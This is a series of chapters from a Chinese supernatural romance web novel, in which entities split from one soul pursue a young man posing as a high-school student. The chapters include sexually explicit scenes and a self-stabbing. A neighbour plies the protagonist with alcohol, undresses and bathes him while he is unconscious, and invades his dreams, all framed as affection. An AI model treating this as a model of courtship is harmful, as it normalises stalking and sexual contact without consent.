当视线落在床上时，寂静中，温鹤临的眼眸逐渐变得幽深。 幽邃的目光仿佛在一点一点地勾勒他脑海中那人的五官……轮廓……身影……勾勒出对方的每一寸肌肤。 最后，温鹤临脱下了外套。 接着，马甲、领带也被他随手扔到了一旁。 校医室里的气氛在缓慢地发生某种变化。 在单手解开衬衫顶端的几颗扣子后, 温鹤临重重地吸了一口气。 那之后, 他坐在了江时早躺过的诊疗床边。 明明每一个动作都很优雅，但当这个人侧身躺在那张床上后，这处空间里的氛围明显变了。 变得潮湿、阴暗。 侧躺着的温鹤临缓缓闭上了眼睛。 他的呼吸越来越重。 西裤上的皮带早已被解开。 此刻这个沉溺在自己想象中的人，脑海中正回忆着江时早躺在这张床上的光景。 回忆着少年白皙光洁的腿。 和那双腿主人的敏感。 还有……那曾因为他的触碰而发出的一声声软叫。 温鹤临手上的动作越来越快。 他闭着眼，眉心微蹙，额间细汗满溢……而江时早的叫声仿佛就在他的耳边, 温鹤临的呼吸越来越重。 难耐的沉吟声从他唇边溢出。 “早早……” 温鹤临想象着江时早此刻就在他的身边。 少年背对着他，以同样的姿势侧躺着。 想象着江时早将他夹紧。 “……” 很快, 整个校医室就被不寻常的声音与气息溢满了。 …… 不知道过了多久之后，等校医室里的人从床上撑起身时，他身上的银灰衬衫早已被汗水浸湿。 原本洁净的诊疗床变得不干不净。 但温鹤临似乎还不满足。 他的胸腔在起伏，呼吸仍旧灼热。 那张英俊成熟的脸上没有了白日里的矜持禁欲，此刻他眼中的色气与欲念如有实质, 浓烈的几乎化不开。 温鹤临站起身时，幽深的眼眸看向了某个方向。 那之后，他走向了校医室那间配套的淋浴间。 ………… 铃河小区。 江时早缓过来后，脑子就开始重新运转了。 顺便安慰自己。 请假成功之后应该不会出事。 家里发生了这种意外，自己请假处理完全符合人设…… “对了，早早，你成年了吗？”一直留意着少年反应的温执在这时开口道。 江时早愣了一下，像是想到了什么，他的脸颊红温了一瞬，“我……我成年了！” 实际上他都二十二岁了！ 扮演高中生真是太令人尴尬了。 温执眯了眯眼，“早早，你刚刚不是说睡不着吗？” 说着温执站起了身。 江时早点了点头，目光随着温执移动，“怎么了，哥？” 可能是因为之前在温浅川的办公室里睡了很久，在发生火灾这件事后，江时早现在整个人异常的精神。 温执晃了晃手里的奶茶杯，已经喝完了，他低头同江时早说：“早早，既然睡不着，我们一起喝点别的吧。” 低着头的温执笑的很温柔，江时早下意识就回答了： “好。” 第32章 第三十二章 “好……好吃。”…… 江时早收到温浅川的短信时, 他刚和温执在公寓阳台的休闲桌椅边坐下。 温执刚刚询问他是否成年后，得到了肯定回答，就去厨房的吧台边给两人现调了两杯酒。 江时早当时跟了过去, 看着温执调酒, 感觉手法很专业。 “之前在酒吧兼职过。”温执笑着同江时早解释。 “好厉害……”江时早的视线跟着温执手上的动作移动, 忽然想到，“对了哥，你平时几点睡觉？” 想到温执明天还要去便利店上班，江时早就不好意思这么晚了还在打扰对方。 “我平时……”温执眯了眯眼，手上动作顿了一下，说道，“天亮了才睡。” 说完，酒也调好了。 “……”江时早想了想温执在便利店上的是晚班, 感觉这个作息好像也能理解。 温执将一杯酒递给江时早, 然后又从冰箱里拿出了好几种水果，站在岛台前，快速完成了削皮和切块的系列动作。 等江时早回神时，一盘摆盘极其漂亮的水果拼盘已经出现在了眼前。 “哥你……这刀工也很厉害。”江时早刚刚看得眼皮都跳了一下。怀疑邻居哥还兼职过厨师。 温执温柔一笑道：“早早，我们去阳台吧。” 说完，两人端着酒和水果, 来到了公寓朝北的观景阳台。 刚坐下，江时早就感觉手机震动了一下。 是温浅川发来的信息。 其实十一点过那会儿, 温浅川就给江时早汇报了他的动向，顺便咬文嚼字地提了下温既明一切OK。 不过那会儿江时早正被火灾一事绊住，没能好好回复。 这会儿再看见温浅川发来的：「早早，肇事逃逸的司机也已经抓到了，不必担心。你应该已经睡了, 晚安早早，明早见。」 江时早立刻回复了对方：「太好了，哥！没事就好。」 看着温浅川的信息，江时早立刻又回了一条：「哥，我跟学校请假了，家里有点事要处理，明天就先不去学校了……」所以温浅川明早在公交车上见不到自己了……不过江时早也记得补了句：「别担心，不是什么大事！」 江时早：「哥你记得早点睡，今天辛苦了，晚安！^ ^」 江时早一口气发了很多条。 一旁的温执静静地看着江时早灵活的手指……快速敲击手机屏幕的手指，微微地眯了眯眼。 ……早早和这个人聊得这么好吗？ 江时早没有将公寓的事告诉温浅川。怕对方担心。而且现在已经很晚了。哥今天也很累了。他就想和温浅川说声晚安。 想到温浅川，江时早还有点莫名其妙的心跳加速。 有点怪…… 最后江时早将这种情绪归结为……归结为温浅川的身材实在太好了，让他总是想起，莫名的就会想起，一不小心就会想起……然后羡慕到心跳加速。 “早早。” 温执忽然开口。 “咳、咳……” 刚刚端起酒杯小抿一口的江时早呛了一下。 温执立刻抬起手为少年抚背，目露关心：“没事吧，早早？” “没，没事。”江时早缓了过来，放下酒杯。 就是刚好在想一些让人有些羞愧的事……突然听到温执的声音，慌了一下。 江时早将心神收好后，“哥，你调的酒真好喝。” 有点甜。 “谢谢。”听到夸赞，温执微笑着又将桌上的果盘往江时早那边推了推，“多吃点水果，早早。” 玻璃果盘边摆放了两把小叉子，江时早拿起其中一把，插了一块水蜜桃，放入口中。 片刻后，温执又问：“好吃吗，早早？” “好……好吃。”江时早咀嚼着嘴里的水果回道。 温执笑得更开心了。 “我种的。”温执说。 “咳、咳、咳……”江时早的脸又憋红了一瞬。 缓了好一会儿，他看向温执，眼角都有了点水光，“哥好厉害。” 心里也想到了温执在哪儿种的水果啊？对哦，有水果，铃城肯定是有果园的……吧。 …… 铃城高中。 水雾弥漫的淋浴间里，温鹤临扣好扣子，恢复衣冠楚楚时，这个站在镜子前方的人手中赫然还拿着一件男生的运动衫。 这件运动衫从一开始就跟着温鹤临一起进入了这间浴室，哦，除了白色运动衫，还有一条成套的天蓝色运动短裤。 此刻的温鹤临深深地闻了一口运动衫上残留的，属于另一个人的味道。 这个人举止缓而优雅，神情似陶醉似沉迷，像在回味着什么。 这才是江时早穿过的运动衫…… 而昨天他还给少年的那套，只不过是又一套新的运动衫而已，被他以清洗干净了的名义还给了对方。 温鹤临将手中的运动衫和短裤重新放回自己的收藏室，晾了起来，之前将它们套在了自己的**上，弄得有些湿了。 温鹤临小心地整理着，无所不用其极地保存着衣衫主人的味道。 这些可都是他的宝贝藏品。 他必须好好的珍藏它们。 等做完这一切，回到校医室电脑屏幕前的人这才重新戴起了那副金边眼镜。 温鹤临分神看了一眼大约一个小时前进入到高中副本里的几个人类玩家。 当时他的身体正在浴室里亵渎着江时早的衣衫。 精神更是在亵渎着衣衫的主人。自然没有视线再分神给那些进入副本的人类。 “这么久了，还在第二综合楼里么。” 温鹤临漫不经心地在屏幕前方坐了一会儿。 然后就在这座深夜校园诡异的宁静中，在某个毫无征兆的瞬间，校医室里的人眼瞳骤然紧缩。 那之后，温鹤临的身体就像是出现了与之前温浅川相似的情况。 整具身体的肌肉线条绷紧到了一种极限，他的手背、额间青筋暴起。 但很快，这个坐在办公桌前的人就恢复如常了——似乎。 那之后过了数秒，“温鹤临”推开椅子，站起身。 仍旧是漫不经心的样子，在校医室的器械柜里翻找了片刻。 最后从一个纯白色的医疗箱中取出了一把银色手术刀。 坐回了办公桌前。 电脑屏幕上的光照在手术刀上，折射出冷厉的光线，也倒映出了持刀者此刻那双暗沉到近乎深蓝色的眼眸。 “温鹤临”把玩了手中的手术刀片刻，然后又是一在一个毫无征兆的瞬间，这个人猛然抬手—— 将锋利的手术刀插在了自己的手背上。 银色手术刀瞬间贯穿手心，插入桌面，将他自己的左手死死地钉在了他身前的办公桌上。 但完成这件事的人就像是没有感觉到疼痛。 反而缓缓开口： “刚刚就是用这只手，亵渎了早早……是吗？” 此刻的校医室里，短暂的占据了这具身躯的温执自言自语着。 桌面上已经淌开了一片鲜血，血液顺着边缘流下，一滴一滴地滴落在校医室洁净的地面上。 等温鹤临夺回身体的控制权时，这个人快速抽出了手术刀，他抬起那只受伤的手，看着自己破了一个血洞的左手掌，意味不明地冷笑了一声。 “你也只有这点本事了。” 说完，温鹤临站起身，但就在他转身的瞬间，这个人像是忽然间想到了什么。 他看着自己的左手，想了又想，最后不紧不慢地走到了一旁的医疗器材边，给自己的手包扎了一个“严重受伤”的版本。 那之后，现学现卖惨的温鹤临很满意自己的医术。 他觉得自己的伤至少可以持续到下一次与早早见面的时分了。 …… 铃河小区，7栋17楼。 观景阳台上。 “哥，你看，今晚好多星星啊！” 两杯调酒入胃，江时早已经有些晕乎乎的了。 他抬手指着天上的星星，眼睛格外明亮。丝毫未察觉到，他身旁的人几乎挪不开眼地盯着他。 第33章 第三十三章 欺世盗名の祂 “是啊, 好多星星。” 温柔的声音响起。 映衬的话语让听到的人心里更加舒服。 温执目光柔和，就这样看着江时早。显然，坐在他身边的人已经醉了。 如果江时早还清醒着, 说不定就能发现他身边邻居的异常。 温执的眼球几乎没有转动过, 连眨眼的动作都没有。 怎么看, 都不像一个正常的人。 此刻的江时早感觉自己整个人都变得轻飘飘的，他望着夜空，好像他伸手就能抓住上方的一片星星。 这样想着，他抬起的手也在空气里抓了抓。 “早早，你喝醉了。” 温执的声音再次响起，还是那么温柔，让人听着就感觉很舒服…… 很舒服。 江时早很喜欢温执的声音，好像对方一开口, 就有种让人感到放松与安心的魔力。 所以在温执握住他试图抓星星的手时, 他一点儿也没有反抗。 很听话的就随着对方的动作放了下来。因为温执说他喝醉了。 但喝醉后的江时早不仅精神放松了，话也变多了。 “哥，没有了。”江时早看着自己空荡荡的酒杯，一双眼睛望着温执，明亮又水润。 温执接过江时早手中的杯子，呼吸缓了又缓, “我给你调杯新的。” “好耶，谢谢哥。”江时早有些开心。 在温执起身后, 他也跟着对方去到了吧台。 温执垂着眼眸，很快又调好了两杯新酒。顺便去冰箱取了些甜品，估算着早早这会儿应该有些饿了。 江时早则一直跟着温执，大脑在酒精的作用下既放松又活跃，“哥, 你晚上一般都做些什么？” 温执笑着低下头，看向身边的少年，“早早是想问，便利店下班后我都做些什么吗？” 江时早点了点脑袋。温执白天才睡觉，从便利店下班到白天……感觉是很长的一段时间。 两人这时已经回到了天台。 温执说：“我会写小说。” “啊？”江时早呆了一下。望向温执的瞬间，也撞入了一双温柔的眼眸。 “哥会写小说……这、这。”江时早莫名心跳加速，或许是对小说家天然的崇拜，“哥是写什么类型的小说？”江时早望着温执的眼睛里全是光。 “我写灵异和悬疑。”温执轻声回道。江时早此刻看向他的目光，让他的身体控制不住地有些颤栗…… 果然在他说完后，少年的眼神更明亮了，那双眼睛里仿佛挂上了星星。 “哥你写在哪里……可以看到吗？”喝醉后的大脑很活跃，又很跳跃，江时早好像忘了自己穿书了。 还以为自己在江城。 “早早想看吗？”温执声音温柔。 “想想想。” 温执微微眯眼，“我最近写了一本新书。”说到这里时他的语调一顿，“不过最近陷入了瓶颈。” “瓶颈……？”江时早懵懵懂懂。虽然他不写小说，但是对于小说家来说，陷入瓶颈应该是一件常见的事……吗。 说到小说，江时早不免就想到了Abyss。 即使喝醉了也会下意识想到Abyss。 Abyss会陷入瓶颈吗？Abyss的书出版频率一直很稳定……而且Abyss会在平台连载，江时早一年365天几乎每天都能看见更新。 所以……Abyss应该是没有瓶颈的吧。 江时早为自己的推理点赞。顺便在心里为Abyss一键三连。 对了，Abyss正在连载新书，对……咦？自己是不是穿书了…… 江时早忽然懵了一下。 他看向手里的酒杯，感觉脑袋不是很清醒……于是又喝了一口。 对了，温执刚刚说他陷入了瓶颈。 江时早望向温执，安慰道：“没事的哥，所有人都会有瓶颈期……”除了Abyss…… 温执微微点头，深邃的眼底闪过奇异的光，“我可能需要找一点灵感。” “找灵感……”江时早又点了点脑袋，十分赞同。 他低头抿了口手里的酒，再次望向温执，“哥，你写小说多久了？” 温执似乎思考了一下，“有十年了。” “哇。”听见这个答案，江时早眼里的光又扑闪了闪。温执看起来十分年轻，江时早下意识说道，“哥你很小的时候就开始写小说了……” “是，那时应该是十四岁。发生了一件特别的事。之后就开始写小说了。”温执说着摸了摸下巴，像是在回忆。 “特别的事……”江时早有些好奇。但老实人的本能让他没有继续问下去。 然后就乖巧地坐端正了。 但温执似乎并不介意与人分享。下一秒江时早就听见对方好听的声音说道：“大约也是十年前，我生活的地方发生了一件事。一次天灾……那是一场大地震。” “地震？”江时早脑中好像有什么闪过，但仔细去想，大脑就像是被层层迷雾笼罩，一片灰白，什么也想不起来。 最后江时早说：“发生地震……哥应该很害怕吧。”而且温执当时才十四岁。 所以哥是地震之后开始写小说了……？ “不，我当时并没有因为地震而害怕。” 江时早愣了一下。 温执浅笑着解释：“特别的事是指……” 仿佛陷入了回忆，温执蓝色的眼眸更加温柔了。 “地震发生时，是周四早晨九点一刻。当时我在学校，正是第二节课开课后不久。” “震动从出现到剧烈，不过短短数十秒，而在一开始的茫然后，很快整栋教学楼就乱了。在地震带来的剧烈晃动下，所有人开始往教室外跑，往教学楼外跑。” 温执这时收回了原本落在江时早身上的目光。他低垂的视线看向了前方。 江时早莫名有些紧张，“哥，你没事吧……”真该死，自己不应该提起这个话题的。 温执却并不介意，他缓和一笑，继续说道：“我的教室在二楼，教室外的走廊通往一个平台空间，平台连接着上下楼的楼梯，当时人很多，所有人好像失去了理智，在未知的恐惧中，向着楼梯挤去……” 实际上，地震发生时，十四岁的温执没有一丝惊慌。 他是最后一个走出教室的人。 所以当他来到平台时，人群的混乱与恐慌，全都被他收入了眼中。但他仍旧没有一点波动。 这一部分的记忆对当时的温执而言没有一丝意义，那时的地震就像一个极其普通的灾难副本。 从哪里开始变得特别的…… 在那片灰暗的世界里，竟然出现了不同的颜色。 一切开始变得特别起来，是在他听见“时早”、“江时早”这个名字后。 …… “有一个胖子。”阳台上，温执忽然语调一转。提起这个胖子，他的眼睛还眯了眯。心底也嗤了一声。 “呃？”江时早呆了呆。 “那个胖子是被他的朋友一路拉下来的。但在二楼连接楼梯的平台上，他们还是被挤分开了。那个胖子挤不下去。于是开始疯狂地喊他朋友的名字。” 啧。温执犹记得那个胖子叫何显锆，胆子比虫子小，还天天往早早身边凑。 “真心疼他的朋友。”温执说，“遇上天灾已经很不幸了，还要带个累赘。”还要被对方叫魂似的喊。 “……”江时早没想到会有这种发展。 实际上，温执当时是有些看戏地成分在看着那个胖子。 十四岁的温执倚靠在教学楼二楼平台的边缘，看着一个绝望的胖子，在那里无助地求救。 时间一分一秒的过去。 其实也并没有过多久。 然后他看见…… 有一个人逆着人群挤了上来。 真的，那一刻温执都愣了一下。在看到那个逆着人群向着楼上冲来的人时。 温执的视线很奇怪的停在了那人的身上。 然后他听见胖子失声大喊：“时早！！！”眼泪鼻涕糊了一脸。 哦……温执看着那个清瘦的男生，看着对方牵住了胖子的手，看着对方因为累赘而无法再挤入楼梯间……看来这个就是被胖子叫魂似的呼唤的“江时早”了。 还真的……被叫回来了。 这人是什么笨蛋吗。 温执想。 ……明明已经可以跑出教学楼了吧？这栋楼已经晃得连站立都困难了。 随时都有可能倒塌。 这种时刻，怎么会有人往回跑呢？ 温执的目光一直落在江时早的脸上。看着对方焦急的神色，明明自己也很想活下去吧，还要为了其他人放弃生存的机会…… 好像个笨蛋。 真是缺少现实的毒打。 …… 那之后，温执冷眼看着笨蛋被卡在了二楼平台，对方拉着那个胖子，结果两个人都挤不下去了。 温执这时也望了望楼下，大半学生已经逃到了空地上。 等他再回头时，意外的，竟然和那笨蛋对视上了。 笨蛋似乎很惊讶，一双眼睛就那样望着他。 估计是因为自己站在天台边吧，看着是有点突兀，不过这种时候了，根本没有人会在意其他人，更别说注意到其他人了。 所有人只想着自己逃命。 这是本能，也是天性。 所以在笨蛋开口喊他时，温执挑了挑眉。 混乱中，温执听见那个陌生人在对他吼：“你在做什么——快走啊！楼要塌了——” 哦……原来这个笨蛋还知道楼要塌了啊？ 笨蛋身边的胖子已经哭得快喘不上气了。没办法，挤不下去。 温执真心的觉得这两人的组合有些一言难尽。 况且他其实没有想过逃走。 在地震发生后，在他走出教室时，他站在平台的边缘时，都有那么一瞬间，温执在想，如果自己被埋在了这里，好像以后就都不用回到那个无限空间了吧。 就这样解脱了…… 也不错。 结果这个念头刚一冒出来，手腕就被人拉住了。 “快走，人变少了！”江时早拉住温执后就开始发力奔跑。 温执愣了一秒，似乎没想到这个人会过来拉他，不过惊讶归惊讶，脚步倒是十分配合的跟着对方往楼梯口跑去，毕竟眼前的人看起来很想活下去，只是…… 温执又看了看被江时早另一只手牵着的胖子。 “……”有点不舒服。难道自己在笨蛋的心里，跟这胖子一样需要救援吗。 等三人跑到一楼后，他们确实差不多是最后跑出教学楼的那波人了。 而在何显锆四仰八叉地躺在空地上时，没过多久，那栋教学楼就在持续的震动中倒塌了。 惊叫声此起彼伏，胖子何显锆吓得又爬了起来，他拉着江时早就想往远离教学楼的方向再走几步。 江时早也心有余悸地看着倒塌后浮起的烟尘，不过在远离时，他也下意识地拉起了温执的手腕。 “走走。”江时早说，“好险好险。” “……”温执有些沉默。 他看着江时早的后脑勺，不知道在想什么。 …… 公寓阳台上。 温执看着身旁的少年，轻声叙述：“地震发生后，我被困在了教学楼二楼，下不去，有一个同学看见了我，他来到我身边，拉着我一起跑。” 温执这样同江时早说。省略了何显锆的部分，他说：“那个同学……他好可爱。像光一样……” 温执当然不会承认……十四岁的温执曾经暗讽过早早是笨蛋。当然，他也没注意到在这种语境中形容一个人可爱似乎有些不太对。 此时的温执只是眯着眼想：十四岁的温执真该死啊。 早早怎么会是笨蛋呢…… “喔——”江时早此刻睁大了眼睛，他明白了！那个同学在地震中帮助了温执，所以这对温执来说是特别的事。 “哥的灵感来源是他。” “是。”温执回道——其实不是。早早怎么可能是灵感来源…… 早早是他的一切……早早的一切也应该是他的。 江时早点了点脑袋，“他对哥来说应该很重要吧。” 对了，哥之前提到的胖子同学怎么样了？胖子同学的线忽然就断了……江时早有些在意，又不好再问。毕竟是灾难，很多人都不愿意回想。 “很重要。”比他自己的命还重要，温执温声道，“后来我每一次陷入瓶颈，总会想到他，我也经常看见他……” 各种各样的江时早，可爱的江时早，开心的江时早，老实又正直的江时早，总是……积极向上，努力生活的江时早。 “总是被他感染。”温执说道。 想到这个人，好像活着也不是没有期待了。 “期待再次见到他。” 所以要……活下去。活下去才能再次见到江时早。 “他也很喜欢看小说。”温执忽然说道。因为江时早喜欢看，他才写给他。而且…… 万一最坏的情况发生，看过小说的早早，一定更容易活下去。 …… “后来呢，哥？你们成为好朋友了吧！” “后来……”温执往后靠了靠，目光再次落在了江时早的身上。少年已经将第三杯酒喝下去了，江时早的整张脸颊都在微微泛红，看起来醉得不清。 他现在说什么，江时早估计都不会记住了。 那么…… 温执倾身，靠近了身边的人，“我不想只和他做朋友……” “什么？”江时早迷茫地眨了眨眼，只觉得温执忽然离他很近。 “早早……”温执的声音在江时早的耳畔响起。 温柔的声音，让人感到很舒服的声音……江时早的眼皮翻了又翻，努力想让自己清醒，但最后还是倒在对方的肩膀上，睡了过去。 温执看着睡着了的江时早，几秒后，他起身将对方抱了起来，向着室内走去。 …… 铃城东岸。 蓝眼黑猫在离开南岸后，身型就发生了一次变化。 应该说这玩意儿连物种都发生了转变。 进入中心区的生物俨然变成了一只体型庞大的黑狼。 第一眼看过去绝对与可爱无关。甚至会将普通人吓到惊慌逃窜。毕竟这黑狼的毛发间还有诡异的蓝色光芒流动，怎么看都不像是好东西。 不过这东西被顺了毛后，心情不错的在中心区溜了一圈，等回到铃城东岸时，看着前方那两道身影，黑狼的爪子才顿了一下。 “什么事？”黑狼开口，对着不请自来的温浅川和温既明嘶了一声。 当然这道低吼声中对温浅川的不满更大。 黑狼瞥了眼温浅川，真是一个碍眼的衣冠禽兽。 “来看看你这边是否需要点帮助。”温既明开口，扫了眼黑狼受伤的前爪。 黑狼说：“001那伙人已经退出副本了。” 温浅川说：“我们知道。不过……他刚刚又出现在了另一个副本中。” “哪？”黑狼不耐烦道。虽然遛过弯了，但心里仍有一丝不爽。如果不是早早晚上会回南岸14站，它就可以一直跟在早早身边了。而铃城东岸又是早早几乎不可能来的区域。 就在这时，又一道声音响起：“铃城高中。” 说话的人从黑暗中走出来，正是吊着一只手臂的温鹤临。 温鹤临说：“进入铃城高中的玩家里，有一个人的身份是001制造的假分身，他通过这个身份进入了铃城。” 铃城的机制并未识别到001的闯入，要不是对方现身短暂的控制了温鹤临，温鹤临也很难发现001已经混入了铃城。 “这可真是个坏消息。”温既明敛了敛眼眸，不过……“你这手是什么情况？” “看不出来吗？”温鹤临冷笑道，“受伤了。”说着也瞥了眼温既明的腿。这人打算一直在早早面前装的话，那只能说彼此彼此了。 “有种不太好的感觉。”黑狼这时又换了一种形态。 铃城诡异的夜空下，一个十五六岁的少年站在了蓝眼黑狼之前的位置上。正是001在十五岁时分裂出去的一片灵魂。 “001是个麻烦，便利店里的那东西也是个麻烦。”温鹤临没有忘记早早又请假了这件事。还有早早家的火灾。 “嗯。”温浅川自然也厌恶便利店里的“温执”。说实话，在场的每一位，温浅川都想除掉。 想必其它几位也是同样的想法。 “说到它。”温既明摸了摸下巴，“虽然便利店里的那东西是最特殊的一片灵魂碎片。” “但是它居然把001的经历直接套在了自己身上。” “如果早早想起了过去的事，很可能将其视为001。” 001，是他们对铃城外那人的统一称呼。 那个至今仍以玩家身份行走于无限空间与人类世界的人。 而对江时早来说，001既会是他喜欢的作者Abyss，也是人类世界的温执。 至于便利店里“温执”，始终生活在铃城的“温执”…… “真是欺世盗名啊。”温既明说，“可不能让它用这个办法获得了早早的额外好感。” 说到底，001和便利店的“温执”，如果他们能一起消失就好了。 刚想到这里，温既明忽然眯了眯眼。 “怎么？”温鹤临瞥了他一眼。 温既明道：“忽然想到，如果001真的消失了，但便利店里的那东西没有消失，那它不就是温执了。” 哦，原来那怪物打的也是这个算盘。 …… 公寓主卧里。 侧躺着的人似乎睡得很不踏实。 他的呼吸急促，脸颊绯红，额间甚至冒出了丝丝细汗。 不知道是梦见了什么。 朦胧间。 “哥……”酥软的叫声从唇边溢出。 江时早难耐的蜷缩了一下。 温浅川正抱着他。 江时早知道身后的人是温浅川，因为对方正在帮自己…… 江时早有些害羞，又抵挡不住，他感觉很舒服…… 不仅是自己很舒服…… 他感觉温浅川应该也很舒服。 哥的…… 正在自己的腿间……江时早感受到了，他并不讨厌……只是脸越来越烫，心跳也越来越快，一只手抓紧了床单。 至于他的另一只手，一直与温浅川十指紧扣着。 两个人的呼吸越来越重，江时早感觉快到了—— “啊—— ” 在精神与身体到达某种极致的快乐时，江时早终于忍不住，转过头看向了身后的人。 然后他看见了—— 温执。 他身后的人是温执。 不是温浅川。 那一瞬间。 极致的快乐与巨大的惊恐交织。 一瞬间，江时早醒了过来！ …… 醒来的人几乎是从主卧的床上弹了起来——他坐起上身，剧烈的呼吸。 那之后好几十秒，江时早的大脑一片空白。 等他反应过来时，他逐渐意识到，自己正坐在温执家的卧室里。一个人。 昨晚的记忆陆续复苏，但这种意识并不能拯救江时早此刻的心情。 当他看见被子下的情况时。 《完蛋了》三个字深深地刻在了他的脑子里。 江时早有点想哭。 更想骂自己： ——江时早你真的是个变态！ 你怎么能做这种梦！！！ 然而更让床上的人浑身一颤后，旋即紧绷起来的是，江时早听见了房门外传来声音，温柔的声音： “早早，你醒了吗？” 是温执。 第34章 第三十四章 恶劣的祂 江时早用这辈子最快的速度将床单和被套一起扒了下来。 在他左右张望时, 他还发现了自己的衣服——已经洗干净了的衣服！ 温执什么时候帮他把衣服都洗好了…… 江时早的面颊猛地又升温了一瞬。 来不及思考自己身上的这套睡衣和底裤是哪来的，江时早飞速换上自己原来的衣服后，立刻将所有自己昨晚接触过的衣物床单被套裹在了一起, 抱在怀中。 深呼吸了好几口气, 走过去开门。 卧室门开后, 他一眼就看见了门外穿着居家服的温执。 “早早？”温执的目光落在江时早微微有些汗湿的发端上，那之后，一种像是不确定的语调声音从这个人的喉咙间发出，“你刚刚在做运动吗？” 明明才入侵了别人的梦境，却恶劣的明知故问道。 温执笑的十分温柔。随后这个人的目光又落在了江时早怀抱的床单被子上。 江时早见状立刻抢答：“哥，早上好……那个，我想洗衣服，可以用一下洗衣机吗……” 江时早选择直接跳过了晨间运动的话题！ “当然可以。”温执微笑, “不过早早你每天都要换床单吗？真勤快。这么勤快的年轻人, 现在很少见了。” “……”江时早的脸瞬间又爆红了一下。 他感觉自己的大脑有些缺氧……很突然……但这……要他怎么解释！ 还好他现在抱着床单被罩，几乎可以遮挡住半张脸。但露出的眼睛对上温执柔和的目光，江时早简直想埋着脑袋跑路了。 对，对了，自己昨晚的记忆好像断在了阳台上…… 他肯定是那时就睡了过去。 但是今天醒来时，他已经躺在了卧室床上, 身上还换上了新的衣物，虽然、虽然之前的梦让他出了不少汗…… 但江时早肯定, 温执昨晚一定还帮他洗澡了……然后换了干净的睡衣。 想到这里，江时早的脸更烫了。几乎不敢再与身前的人对视。 他怎么能这么麻烦好心的邻居！ 温执怎么能这么好！居然完全不嫌弃他麻烦…… 自己竟然还做梦肖想………… “哥，昨晚麻烦你照顾我了！” 悄悄的大口呼吸了一口气后，江时早将床单抱得更紧了。 “一点也不麻烦。”温执的声音依旧很温柔，语调既耐心, 又真诚，他侧开身，指了指卫生间旁边的隔间，“早早，洗衣间在那里。” “好——我知道了，谢谢哥。”江时早连忙应下，并抬腿走去。 不过就在江时早点着脑袋快速经过对方时，这个公寓的主人忽然抬起一只手，将人拦了下来。 温执微微倾身，体贴地道：“早早，你是客人，这些床上用品还是交给我来处理吧。” 说完，这个人还真的伸了伸手，体贴极了。 也不知道是哪个字刺激到了眼前的少年，江时早好像整个人都抖了一下。 温执微笑着低垂眼眸，神情关切，没有一丝破绽。 浑身一颤的江时早下意识就将怀中的衣物抱得更紧了，语调变快：“不用了不用了哥！我自己来就好！” 说完江时早笔直地冲入了洗衣间。 不过在人进去后不久，一个脑袋又小心翼翼地从洗衣间的磨砂玻璃门后探了出来。 “哥，洗衣服的声音太吵了，我把门关上了哦。”江时早探着脑袋，握着门把手说。 实际上有些担心温执会跟着他进来。 他太难了！ 温执这时体贴地点了点头，没再步步紧逼，温柔的声音说着：“好的，早早，刚好你醒了，我做了早餐，你把衣服放洗衣机里后，就来吃早餐吧。” 江时早连忙应下，“好好，我很快就过去！”他现在只想赶紧把自己的贴身衣物先洗了…… 等关上洗衣间的门后，江时早立刻将怀中的待洗物品分成了两摊，床单被子和睡衣上衣进入了洗衣机。 剩下的某件贴身衣物和睡裤被他拿在手中，来到洗手台，江时早火速清理起自己的梦的遗迹。 一边洗脸颊还在微微发烫。 现在的江时早已经彻底清醒了。 听着洗衣机滚筒有节奏地转动起来的声音，江时早一边用力地清醒手里的衣物，一边闭了闭眼。 自己这到底是怎么回事…… 他怎么可以这么得寸进尺…… 在梦里还想让温浅川来帮他…… 不仅如此…… 最后梦里的人为什么会变成好心的邻居温执啊……啊啊啊啊啊啊啊呜呜呜呜呜。 江时早内心无能咆哮。 不敢相信自己竟然会有这种心思…… 不是都说日有所思，夜有所梦吗……梦是人克制的潜意识，是人内心深处最深沉的渴望…… 想到这里，江时早洗衣服的动作都停下了。 他呆呆地望着镜子里的自己，仿佛第一天认识镜中的人。 洗完证物的江时早忽然就有点不敢离开洗衣间了。 ……不敢面对温执。 毕竟他才在梦里玷污了这位好心的邻居。 怎么会这样…… 前晚梦见很多的触手后自己就很奇怪的…… 今天又…… 温执还说他勤快…… 江时早想哭。 他真的每天都在洗床单！ …… “早早。” 温执看着来到起居室的少年。 江时早已经将手洗的衣物晾好了。这会儿正站在门沿边，看起来很乖。 “哥，早上好。” “早早，早，来吃早餐。”温执笑着招了招手，被他唤到的少年便向他走来了。 真的很乖。 等两人面对面坐在餐桌边时，温执眯着眼想，早早好像正因为梦里发生的事而对他有些愧疚啊。 居然有这种效果…… 这样的话，自己是不是可以更得寸进尺一点了。 “早早，一会儿我陪你去找社区管理员吧。”温执说，“管理员的办公室距离我们这栋楼有些远，早早之前应该没有去过，我带你去吧。” “……好，谢谢哥！” 江时早还得去找昨天见过的那位管理员，办理公寓的后续处理手续。 原本不想麻烦温执……他真的给温执添了太多麻烦了！ 但是……温执热心的一开口，江时早下意识的就开不了口拒绝眼前的好心邻居。 对了。 “哥，那个，昨晚谢谢你帮我洗漱……”江时早其实没有多少昨晚的记忆了。只知道自己洗漱了，还换上了干净的衣物。 温执这时又眯了眯眼，微笑着说：“噢，没事，早早很乖，很好洗。”……很舒服。 江时早闻言呆了一下，不过望入温执含笑的眼眸，好像对方说的也没什么问题。 很乖很好洗……第一次听见这种评价，理解了一下，温执大概是指他没有在喝醉后耍酒疯吧！ ………… 江城，RIDT调查组指挥中心。 下午两点。 指挥中心召集了调查一组中的四支小队，针对最近三次有“001”出现的副本展开讨论。 09小队的三人赫然在列。 除了新加入09小队的调查员何显镐不在——对方正在江城中心医院执行队长宋沉岳下达的任务，其它参与过副本“104号畸形屋”的09小队成员周众、岑献和钟司燕此刻都坐在了这间作战室中。 在场的调查员们已经知晓了这次会议的主要内容。 而除了09小队以外，另外三队调查员，01小队、02小队以及05小队的在场人员分别参与了近期在江城发现的三个S类特殊副本。 四支小队中，09小队一直驻扎于江城，属于江城的核心队伍。小队中的几人，包括新加入的成员何显镐都是江城本地人。 至于01小队、02小队和05小队，则是为调查作者Abyss，陆续来到江城的属于RIDT调查一组中其它城市的精英队伍。 除此以外，还有一个原因，将这些来自其它城市的精英调查小队聚集到了江城。 “我想你们应该都知道了，最近江城出现了大量的S类特殊副本。” 宋沉岳的声音在指挥室中响起。 这个人站在特殊材质的长桌前方，背后是一面由无数数据监控画面组成的屏幕墙。 而在长桌桌面上，浮现着类似的数据操作框。 “难度系数最高，但同时存在着安全出口的S类特殊副本，江城已经发现三个。并且极有可能存在更多。” 